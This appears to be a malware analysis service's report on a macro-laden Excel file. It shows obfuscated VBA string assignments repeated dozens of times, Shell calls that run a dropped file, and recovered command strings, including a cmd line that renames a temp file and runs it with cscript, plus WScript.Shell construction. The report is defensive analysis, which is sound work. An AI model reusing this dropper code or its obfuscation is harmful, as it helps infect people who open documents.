            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"

Shell "type NUL > " + TXTFile
Shell Path + TXTFile



Dim ZGFBM
End Sub
ooxml_oleobject_00.bin ooxml-ole-object OOXML embedded OLE part: xl/embeddings/oleObject1.bin 3584 bytes
SHA-256: 852e52d43c5df41ebd5b489427d23d8092eb643daa3c0101b4ac31170e646c0f
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Static shellcode analysis recovered command string(s): Wscript.Shell");
ooxml_oleobject_00_ole10native_00.bin ole-package OOXML xl/embeddings/oleObject1.bin Ole10Native stream: Ole10Native 1270 bytes
SHA-256: ed1ac5f966e8862c265023fc7263e9aac75f6e08064291f32104bf6c16641b4f
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Static shellcode analysis recovered command string(s): Wscript.Shell");
ooxml_oleobject_01.bin ooxml-ole-object OOXML embedded OLE part: xl/embeddings/oleObject3.bin 5936 bytes
SHA-256: 652370949bf800c36c9c0050cba3d293146f2b55fa1ddffc7c91ce2fd575f5f6
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Static shellcode analysis recovered command string(s): cmd /c ren %tmp%\zz j&cScripT %tmp%\j?.wsf C C
ooxml_oleobject_02.bin ooxml-ole-object OOXML embedded OLE part: xl/embeddings/oleObject2.bin 12288 bytes
SHA-256: d4e304822cb4aae7b6381fe335e49020ebf59e6e05d3b60c165a567dd61aecd8
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Static shellcode analysis recovered command string(s): Wscript.ScriptFullName, WScript = "WScript" '15481, WScript = sWScript + "."
ooxml_oleobject_02_ole10native_00.bin ole-package OOXML xl/embeddings/oleObject2.bin Ole10Native stream: Ole10Native 9292 bytes
SHA-256: 8779ca9a5476e43b66a9670dea48303b2aefbb7a3a685fa64e72b4ee28214d0a
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Static shellcode analysis recovered command string(s): Wscript.ScriptFullName, WScript = "WScript" '15481, WScript = sWScript + "."
ooxml_oleobject_03.bin ooxml-ole-object OOXML embedded OLE part: xl/vbaProject.bin 99328 bytes
SHA-256: 65307ea3dd090efaaa0f19e643bff9340eb1539facec86e488731292201a8236
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Static shellcode analysis recovered command string(s): WScript = "WScript", WScript = sWScript + ".", WScript + "Shell"
emf_00.emf ooxml-emf OOXML EMF part: xl/media/image1.emf 4968 bytes
SHA-256: 979dde2aed02f077c16ae53546c6df9eed40e8386d6db6fc36aee9f966d2cb82
emf_01.emf ooxml-emf OOXML EMF part: xl/media/image2.emf 1536 bytes
SHA-256: 4d4d1e7b04c99dcb8e885915068ad6f74cc2333e91580cdae5ccaa00c427247f

Open this report in the interactive analyzer, or submit your own file for analysis.